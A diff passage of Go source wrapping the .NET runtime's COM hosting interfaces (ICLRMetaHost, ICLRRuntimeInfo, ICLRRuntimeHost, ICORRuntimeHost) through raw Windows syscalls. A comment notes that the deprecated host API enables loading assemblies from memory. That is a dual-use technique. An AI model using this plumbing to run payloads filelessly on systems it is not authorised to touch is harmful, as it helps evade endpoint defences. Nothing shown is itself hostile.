func (obj *ICLRMetaHost) QueryInterface(riid windows.GUID, ppvObject unsafe.Pointer) error {
|
||||
debugPrint("Entering into icorruntimehost.QueryInterface()...")
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.QueryInterface,
|
||||
3,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&riid)), // A reference to the interface identifier (IID) of the interface being queried for.
|
||||
uintptr(ppvObject),
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
return fmt.Errorf("the IUknown::QueryInterface method returned an error:\r\n%s", err)
|
||||
}
|
||||
if hr != S_OK {
|
||||
return fmt.Errorf("the IUknown::QueryInterface method method returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (obj *ICLRMetaHost) AddRef() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.AddRef,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
func (obj *ICLRMetaHost) Release() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.Release,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
// EnumerateInstalledRuntimes returns an enumeration that contains a valid ICLRRuntimeInfo interface for each
|
||||
// version of the common language runtime (CLR) that is installed on a computer.
|
||||
// HRESULT EnumerateInstalledRuntimes (
|
||||
// [out, retval] IEnumUnknown **ppEnumerator);
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrmetahost-enumerateinstalledruntimes-method
|
||||
func (obj *ICLRMetaHost) EnumerateInstalledRuntimes() (ppEnumerator *IEnumUnknown, err error) {
|
||||
debugPrint("Entering into iclrmetahost.EnumerateInstalledRuntimes()...")
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.EnumerateInstalledRuntimes,
|
||||
2,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&ppEnumerator)),
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("there was an error calling the ICLRMetaHost::EnumerateInstalledRuntimes method:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the ICLRMetaHost::EnumerateInstalledRuntimes method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
|
||||
// GetRuntime gets the ICLRRuntimeInfo interface that corresponds to a particular version of the common language runtime (CLR).
|
||||
// This method supersedes the CorBindToRuntimeEx function used with the STARTUP_LOADER_SAFEMODE flag.
|
||||
// HRESULT GetRuntime (
|
||||
// [in] LPCWSTR pwzVersion,
|
||||
// [in] REFIID riid,
|
||||
// [out,iid_is(riid), retval] LPVOID *ppRuntime
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrmetahost-getruntime-method
|
||||
func (obj *ICLRMetaHost) GetRuntime(pwzVersion *uint16, riid windows.GUID) (ppRuntime *ICLRRuntimeInfo, err error) {
|
||||
debugPrint("Entering into iclrmetahost.GetRuntime()...")
|
||||
|
||||
hr, _, err := syscall.Syscall6(
|
||||
obj.vtbl.GetRuntime,
|
||||
4,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(pwzVersion)),
|
||||
uintptr(unsafe.Pointer(&IID_ICLRRuntimeInfo)),
|
||||
uintptr(unsafe.Pointer(&ppRuntime)),
|
||||
0,
|
||||
0,
|
||||
)
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("there was an error calling the ICLRMetaHost::GetRuntime method:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the ICLRMetaHost::GetRuntime method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
+158
@@ -0,0 +1,158 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
type ICLRRuntimeHost struct {
|
||||
vtbl *ICLRRuntimeHostVtbl
|
||||
}
|
||||
|
||||
// ICLRRuntimeHostVtbl provides functionality similar to that of the ICorRuntimeHost interface
|
||||
// provided in the .NET Framework version 1, with the following changes
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimehost-interface
|
||||
type ICLRRuntimeHostVtbl struct {
|
||||
QueryInterface uintptr
|
||||
AddRef uintptr
|
||||
Release uintptr
|
||||
// Start Initializes the CLR into a process.
|
||||
Start uintptr
|
||||
// Stop Stops the execution of code by the runtime.
|
||||
Stop uintptr
|
||||
// SetHostControl sets the host control interface. You must call SetHostControl before calling Start.
|
||||
SetHostControl uintptr
|
||||
// GetCLRControl gets an interface pointer of type ICLRControl that hosts can use to customize
|
||||
// aspects of the common language runtime (CLR).
|
||||
GetCLRControl uintptr
|
||||
// UnloadAppDomain Unloads the AppDomain that corresponds to the specified numeric identifier.
|
||||
UnloadAppDomain uintptr
|
||||
// ExecuteInAppDomain Specifies the AppDomain in which to execute the specified managed code.
|
||||
ExecuteInAppDomain uintptr
|
||||
// GetCurrentAppDomainID gets the numeric identifier of the AppDomain that is currently executing.
|
||||
GetCurrentAppDomainId uintptr
|
||||
// ExecuteApplication used in manifest-based ClickOnce deployment scenarios to specify the application
|
||||
// to be activated in a new domain.
|
||||
ExecuteApplication uintptr
|
||||
// ExecuteInDefaultAppDomain Invokes the specified method of the specified type in the specified assembly.
|
||||
ExecuteInDefaultAppDomain uintptr
|
||||
}
|
||||
|
||||
// GetICLRRuntimeHost is a wrapper function that takes an ICLRRuntimeInfo object and
|
||||
// returns an ICLRRuntimeHost and loads it into the current process
|
||||
func GetICLRRuntimeHost(runtimeInfo *ICLRRuntimeInfo) (*ICLRRuntimeHost, error) {
|
||||
debugPrint("Entering into iclrruntimehost.GetICLRRuntimeHost()...")
|
||||
var runtimeHost *ICLRRuntimeHost
|
||||
err := runtimeInfo.GetInterface(CLSID_CLRRuntimeHost, IID_ICLRRuntimeHost, unsafe.Pointer(&runtimeHost))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
err = runtimeHost.Start()
|
||||
return runtimeHost, err
|
||||
}
|
||||
|
||||
func (obj *ICLRRuntimeHost) AddRef() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.AddRef,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
func (obj *ICLRRuntimeHost) Release() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.Release,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
// Start Initializes the common language runtime (CLR) into a process.
|
||||
// HRESULT Start();
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimehost-start-method
|
||||
func (obj *ICLRRuntimeHost) Start() error {
|
||||
debugPrint("Entering into iclrruntimehost.Start()...")
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.Start,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
return fmt.Errorf("the ICLRRuntimeHost::Start method returned an error:\r\n%s", err)
|
||||
}
|
||||
if hr != S_OK {
|
||||
return fmt.Errorf("the ICLRRuntimeHost::Start method method returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// ExecuteInDefaultAppDomain Calls the specified method of the specified type in the specified managed assembly.
|
||||
// HRESULT ExecuteInDefaultAppDomain (
|
||||
// [in] LPCWSTR pwzAssemblyPath,
|
||||
// [in] LPCWSTR pwzTypeName,
|
||||
// [in] LPCWSTR pwzMethodName,
|
||||
// [in] LPCWSTR pwzArgument,
|
||||
// [out] DWORD *pReturnValue
|
||||
// );
|
||||
// An LPCWSTR is a 32-bit pointer to a constant string of 16-bit Unicode characters, which MAY be null-terminated.
|
||||
// Use syscall.UTF16PtrFromString to turn a string into a LPCWSTR
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimehost-executeindefaultappdomain-method
|
||||
func (obj *ICLRRuntimeHost) ExecuteInDefaultAppDomain(pwzAssemblyPath, pwzTypeName, pwzMethodName, pwzArgument *uint16) (pReturnValue *uint32, err error) {
|
||||
hr, _, err := syscall.Syscall9(
|
||||
obj.vtbl.ExecuteInDefaultAppDomain,
|
||||
6,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(pwzAssemblyPath)),
|
||||
uintptr(unsafe.Pointer(pwzTypeName)),
|
||||
uintptr(unsafe.Pointer(pwzMethodName)),
|
||||
uintptr(unsafe.Pointer(pwzArgument)),
|
||||
uintptr(unsafe.Pointer(pReturnValue)),
|
||||
0,
|
||||
0,
|
||||
0)
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("the ICLRRuntimeHost::ExecuteInDefaultAppDomain method returned an error:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the ICLRRuntimeHost::ExecuteInDefaultAppDomain method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
|
||||
// GetCurrentAppDomainID Gets the numeric identifier of the AppDomain that is currently executing.
|
||||
// HRESULT GetCurrentAppDomainId(
|
||||
// [out] DWORD* pdwAppDomainId
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimehost-getcurrentappdomainid-method
|
||||
func (obj *ICLRRuntimeHost) GetCurrentAppDomainID() (pdwAppDomainId uint32, err error) {
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.GetCurrentAppDomainId,
|
||||
2,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&pdwAppDomainId)),
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("the ICLRRuntimeHost::GetCurrentAppDomainID method returned an error:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the ICLRRuntimeHost::GetCurrentAppDomainID method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
+211
@@ -0,0 +1,211 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
type ICLRRuntimeInfo struct {
|
||||
vtbl *ICLRRuntimeInfoVtbl
|
||||
}
|
||||
|
||||
// ICLRRuntimeInfoVtbl Provides methods that return information about a specific common language runtime (CLR),
|
||||
// including version, directory, and load status. This interface also provides runtime-specific functionality
|
||||
// without initializing the runtime. It includes the runtime-relative LoadLibrary method, the runtime
|
||||
// module-specific GetProcAddress method, and runtime-provided interfaces through the GetInterface method.
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimeinfo-interface
|
||||
type ICLRRuntimeInfoVtbl struct {
|
||||
QueryInterface uintptr
|
||||
AddRef uintptr
|
||||
Release uintptr
|
||||
// GetVersionString Gets common language runtime (CLR) version information associated with a given
|
||||
// ICLRRuntimeInfo interface. This method supersedes the GetRequestedRuntimeInfo and GetRequestedRuntimeVersion methods.
|
||||
GetVersionString uintptr
|
||||
// GetRuntimeDirectory Gets the installation directory of the CLR associated with this interface.
|
||||
// This method supersedes the GetCORSystemDirectory method.
|
||||
GetRuntimeDirectory uintptr
|
||||
// IsLoaded Indicates whether the CLR associated with the ICLRRuntimeInfo interface is loaded into a process.
|
||||
IsLoaded uintptr
|
||||
// LoadErrorString Translates an HRESULT value into an appropriate error message for the specified culture.
|
||||
// This method supersedes the LoadStringRC and LoadStringRCEx methods.
|
||||
LoadErrorString uintptr
|
||||
// LoadLibrary Loads a library from the framework directory of the CLR represented by an ICLRRuntimeInfo interface.
|
||||
// This method supersedes the LoadLibraryShim method.
|
||||
LoadLibrary uintptr
|
||||
// GetProcAddress Gets the address of a specified function that was exported from the CLR associated with
|
||||
// this interface. This method supersedes the GetRealProcAddress method.
|
||||
GetProcAddress uintptr
|
||||
// GetInterface Loads the CLR into the current process and returns runtime interface pointers,
|
||||
// such as ICLRRuntimeHost, ICLRStrongName and IMetaDataDispenser. This method supersedes all the CorBindTo* functions.
|
||||
GetInterface uintptr
|
||||
// IsLoadable Indicates whether the runtime associated with this interface can be loaded into the current
|
||||
// process, taking into account other runtimes that might already be loaded into the process.
|
||||
IsLoadable uintptr
|
||||
// SetDefaultStartupFlags Sets the CLR startup flags and host configuration file.
|
||||
SetDefaultStartupFlags uintptr
|
||||
// GetDefaultStartupFlags Gets the CLR startup flags and host configuration file.
|
||||
GetDefaultStartupFlags uintptr
|
||||
// BindAsLegacyV2Runtime Binds this runtime for all legacy CLR version 2 activation policy decisions.
|
||||
BindAsLegacyV2Runtime uintptr
|
||||
// IsStarted Indicates whether the CLR that is associated with the ICLRRuntimeInfo interface has been started.
|
||||
IsStarted uintptr
|
||||
}
|
||||
|
||||
// GetRuntimeInfo is a wrapper function to return an ICLRRuntimeInfo from a standard version string
|
||||
func GetRuntimeInfo(metahost *ICLRMetaHost, version string) (*ICLRRuntimeInfo, error) {
|
||||
pwzVersion, err := syscall.UTF16PtrFromString(version)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return metahost.GetRuntime(pwzVersion, IID_ICLRRuntimeInfo)
|
||||
}
|
||||
|
||||
func (obj *ICLRRuntimeInfo) AddRef() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.AddRef,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
func (obj *ICLRRuntimeInfo) Release() uintptr {
|
||||
debugPrint("Entering into iclrruntimeinfo.Release()...")
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.Release,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
// GetVersionString gets common language runtime (CLR) version information associated with a given ICLRRuntimeInfo interface.
|
||||
// HRESULT GetVersionString(
|
||||
// [out, size_is(*pcchBuffer)] LPWSTR pwzBuffer,
|
||||
// [in, out] DWORD *pcchBuffer);
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimeinfo-getversionstring-method
|
||||
func (obj *ICLRRuntimeInfo) GetVersionString() (version string, err error) {
|
||||
debugPrint("Entering into iclrruntimeinfo.GetVersion()...")
|
||||
// [in, out] Specifies the size of pwzBuffer to avoid buffer overruns. If pwzBuffer is null, pchBuffer returns the required size of pwzBuffer to allow preallocation.
|
||||
var pchBuffer uint32
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.GetVersionString,
|
||||
3,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
uintptr(unsafe.Pointer(&pchBuffer)),
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("there was an error calling the ICLRRuntimeInfo::GetVersionString method during preallocation:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
// 0x8007007a = The data area passed to a system call is too small, expected when passing a nil buffer for preallocation
|
||||
if hr != S_OK && hr != 0x8007007a {
|
||||
err = fmt.Errorf("the ICLRRuntimeInfo::GetVersionString method (preallocation) returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
|
||||
pwzBuffer := make([]uint16, 20)
|
||||
|
||||
hr, _, err = syscall.Syscall(
|
||||
obj.vtbl.GetVersionString,
|
||||
3,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&pwzBuffer[0])),
|
||||
uintptr(unsafe.Pointer(&pchBuffer)),
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("there was an error calling the ICLRRuntimeInfo::GetVersionString method:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the ICLRRuntimeInfo::GetVersionString method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
version = syscall.UTF16ToString(pwzBuffer)
|
||||
return
|
||||
}
|
||||
|
||||
// GetInterface loads the CLR into the current process and returns runtime interface pointers,
|
||||
// such as ICLRRuntimeHost, ICLRStrongName, and IMetaDataDispenserEx.
|
||||
// HRESULT GetInterface(
|
||||
// [in] REFCLSID rclsid,
|
||||
// [in] REFIID riid,
|
||||
// [out, iid_is(riid), retval] LPVOID *ppUnk); unsafe pointer of a pointer to an object pointer
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimeinfo-getinterface-method
|
||||
func (obj *ICLRRuntimeInfo) GetInterface(rclsid windows.GUID, riid windows.GUID, ppUnk unsafe.Pointer) error {
|
||||
debugPrint("Entering into iclrruntimeinfo.GetInterface()...")
|
||||
hr, _, err := syscall.Syscall6(
|
||||
obj.vtbl.GetInterface,
|
||||
4,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&rclsid)),
|
||||
uintptr(unsafe.Pointer(&riid)),
|
||||
uintptr(ppUnk),
|
||||
0,
|
||||
0,
|
||||
)
|
||||
// The syscall returns "The requested lookup key was not found in any active activation context." in the error position
|
||||
// TODO Why is this error message returned?
|
||||
if err != syscall.Errno(0) && err.Error() != "The requested lookup key was not found in any active activation context." {
|
||||
return fmt.Errorf("the ICLRRuntimeInfo::GetInterface method returned an error:\r\n%s", err)
|
||||
}
|
||||
if hr != S_OK {
|
||||
return fmt.Errorf("the ICLRRuntimeInfo::GetInterface method returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// BindAsLegacyV2Runtime binds the current runtime for all legacy common language runtime (CLR) version 2 activation policy decisions.
|
||||
// HRESULT BindAsLegacyV2Runtime ();
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimeinfo-bindaslegacyv2runtime-method
|
||||
func (obj *ICLRRuntimeInfo) BindAsLegacyV2Runtime() error {
|
||||
debugPrint("Entering into iclrruntimeinfo.BindAsLegacyV2Runtime()...")
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.BindAsLegacyV2Runtime,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
return fmt.Errorf("the ICLRRuntimeInfo::BindAsLegacyV2Runtime method returned an error:\r\n%s", err)
|
||||
}
|
||||
if hr != S_OK {
|
||||
return fmt.Errorf("the ICLRRuntimeInfo::BindAsLegacyV2Runtime method returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// IsLoadable indicates whether the runtime associated with this interface can be loaded into the current process,
|
||||
// taking into account other runtimes that might already be loaded into the process.
|
||||
// HRESULT IsLoadable(
|
||||
// [out, retval] BOOL *pbLoadable);
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimeinfo-isloadable-method
|
||||
func (obj *ICLRRuntimeInfo) IsLoadable() (pbLoadable bool, err error) {
|
||||
debugPrint("Entering into iclrruntimeinfo.IsLoadable()...")
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.IsLoadable,
|
||||
2,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&pbLoadable)),
|
||||
0)
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("the ICLRRuntimeInfo::IsLoadable method returned an error:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the ICLRRuntimeInfo::IsLoadable method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
+231
@@ -0,0 +1,231 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
type ICORRuntimeHost struct {
|
||||
vtbl *ICORRuntimeHostVtbl
|
||||
}
|
||||
|
||||
// ICORRuntimeHostVtbl Provides methods that enable the host to start and stop the common language runtime (CLR)
|
||||
// explicitly, to create and configure application domains, to access the default domain, and to enumerate all
|
||||
// domains running in the process.
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/icorruntimehost-interface
|
||||
type ICORRuntimeHostVtbl struct {
|
||||
QueryInterface uintptr
|
||||
AddRef uintptr
|
||||
Release uintptr
|
||||
// CreateLogicalThreadState Do not use.
|
||||
CreateLogicalThreadState uintptr
|
||||
// DeleteLogicalThreadSate Do not use.
|
||||
DeleteLogicalThreadState uintptr
|
||||
// SwitchInLogicalThreadState Do not use.
|
||||
SwitchInLogicalThreadState uintptr
|
||||
// SwitchOutLogicalThreadState Do not use.
|
||||
SwitchOutLogicalThreadState uintptr
|
||||
// LocksHeldByLogicalThreadState Do not use.
|
||||
LocksHeldByLogicalThreadState uintptr
|
||||
// MapFile Maps the specified file into memory. This method is obsolete.
|
||||
MapFile uintptr
|
||||
// GetConfiguration Gets an object that allows the host to specify the callback configuration of the CLR.
|
||||
GetConfiguration uintptr
|
||||
// Start Starts the CLR.
|
||||
Start uintptr
|
||||
// Stop Stops the execution of code in the runtime for the current process.
|
||||
Stop uintptr
|
||||
// CreateDomain Creates an application domain. The caller receives an interface pointer of
|
||||
// type _AppDomain to an instance of type System.AppDomain.
|
||||
CreateDomain uintptr
|
||||
// GetDefaultDomain Gets an interface pointer of type _AppDomain that represents the default domain for the current process.
|
||||
GetDefaultDomain uintptr
|
||||
// EnumDomains Gets an enumerator for the domains in the current process.
|
||||
EnumDomains uintptr
|
||||
// NextDomain Gets an interface pointer to the next domain in the enumeration.
|
||||
NextDomain uintptr
|
||||
// CloseEnum Resets a domain enumerator back to the beginning of the domain list.
|
||||
CloseEnum uintptr
|
||||
// CreateDomainEx Creates an application domain. This method allows the caller to pass an
|
||||
// IAppDomainSetup instance to configure additional features of the returned _AppDomain instance.
|
||||
CreateDomainEx uintptr
|
||||
// CreateDomainSetup Gets an interface pointer of type IAppDomainSetup to an AppDomainSetup instance.
|
||||
// IAppDomainSetup provides methods to configure aspects of an application domain before it is created.
|
||||
CreateDomainSetup uintptr
|
||||
// CreateEvidence Gets an interface pointer of type IIdentity, which allows the host to create security
|
||||
// evidence to pass to CreateDomain or CreateDomainEx.
|
||||
CreateEvidence uintptr
|
||||
// UnloadDomain Unloads the specified application domain from the current process.
|
||||
UnloadDomain uintptr
|
||||
// CurrentDomain Gets an interface pointer of type _AppDomain that represents the domain loaded on the current thread.
|
||||
CurrentDomain uintptr
|
||||
}
|
||||
|
||||
// GetICORRuntimeHost is a wrapper function that takes in an ICLRRuntimeInfo and returns an ICORRuntimeHost object
|
||||
// and loads it into the current process. This is the "deprecated" API, but the only way currently to load an assembly
|
||||
// from memory (afaict)
|
||||
func GetICORRuntimeHost(runtimeInfo *ICLRRuntimeInfo) (*ICORRuntimeHost, error) {
|
||||
debugPrint("Entering into icorruntimehost.GetICORRuntimeHost()...")
|
||||
var runtimeHost *ICORRuntimeHost
|
||||
err := runtimeInfo.GetInterface(CLSID_CorRuntimeHost, IID_ICorRuntimeHost, unsafe.Pointer(&runtimeHost))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
err = runtimeHost.Start()
|
||||
return runtimeHost, err
|
||||
}
|
||||
|
||||
func (obj *ICORRuntimeHost) QueryInterface(riid windows.GUID, ppvObject unsafe.Pointer) error {
|
||||
debugPrint("Entering into icorruntimehost.QueryInterface()...")
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.QueryInterface,
|
||||
3,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&riid)), // A reference to the interface identifier (IID) of the interface being queried for.
|
||||
uintptr(ppvObject),
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
fmt.Println("1111111111111")
|
||||
return fmt.Errorf("the IUknown::QueryInterface method returned an error:\r\n%s", err)
|
||||
}
|
||||
if hr != S_OK {
|
||||
fmt.Println("222222222222222222")
|
||||
return fmt.Errorf("the IUknown::QueryInterface method method returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (obj *ICORRuntimeHost) AddRef() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.AddRef,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
func (obj *ICORRuntimeHost) Release() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.Release,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
// Start starts the common language runtime (CLR).
|
||||
// HRESULT Start ();
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/icorruntimehost-start-method
|
||||
func (obj *ICORRuntimeHost) Start() error {
|
||||
debugPrint("Entering into icorruntimehost.Start()...")
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.Start,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
// The system could not find the environment option that was entered.
|
||||
// TODO Why is this error message returned?
|
||||
debugPrint(fmt.Sprintf("the ICORRuntimeHost::Start method returned an error:\r\n%s", err))
|
||||
}
|
||||
if hr != S_OK {
|
||||
return fmt.Errorf("the ICORRuntimeHost::Start method method returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// GetDefaultDomain gets an interface pointer of type System._AppDomain that represents the default domain for the current process.
|
||||
// HRESULT GetDefaultDomain (
|
||||
// [out] IUnknown** pAppDomain
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/icorruntimehost-getdefaultdomain-method
|
||||
func (obj *ICORRuntimeHost) GetDefaultDomain() (IUnknown *IUnknown, err error) {
|
||||
debugPrint("Entering into icorruntimehost.GetDefaultDomain()...")
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.GetDefaultDomain,
|
||||
2,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&IUnknown)),
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
// The specified procedure could not be found.
|
||||
// TODO Why is this error message returned?
|
||||
debugPrint(fmt.Sprintf("the ICORRuntimeHost::GetDefaultDomain method returned an error:\r\n%s", err))
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the ICORRuntimeHost::GetDefaultDomain method method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
|
||||
// CreateDomain Creates an application domain. The caller receives an interface pointer of type _AppDomain to an instance of type System.AppDomain.
|
||||
// HRESULT CreateDomain (
|
||||
// [in] LPWSTR pwzFriendlyName,
|
||||
// [in] IUnknown* pIdentityArray,
|
||||
// [out] void **pAppDomain
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/ms164322(v=vs.100)
|
||||
func (obj *ICORRuntimeHost) CreateDomain(pwzFriendlyName *uint16) (pAppDomain *AppDomain, err error) {
|
||||
debugPrint("Entering into icorruntimehost.CreateDomain()...")
|
||||
hr, _, err := syscall.Syscall6(
|
||||
obj.vtbl.CreateDomain,
|
||||
4,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(pwzFriendlyName)), // [in] LPWSTR pwzFriendlyName - An optional parameter used to give a friendly name to the domain
|
||||
uintptr(unsafe.Pointer(nil)), // [in] IUnknown* pIdentityArray - An optional array of pointers to IIdentity instances that represent evidence mapped through security policy to establish a permission set
|
||||
uintptr(unsafe.Pointer(&pAppDomain)), // [out] IUnknown** pAppDomain
|
||||
0,
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
// The specified procedure could not be found.
|
||||
// TODO Why is this error message returned?
|
||||
debugPrint(fmt.Sprintf("the ICORRuntimeHost::CreateDomain method returned an error:\r\n%s", err))
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the ICORRuntimeHost::CreateDomain method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
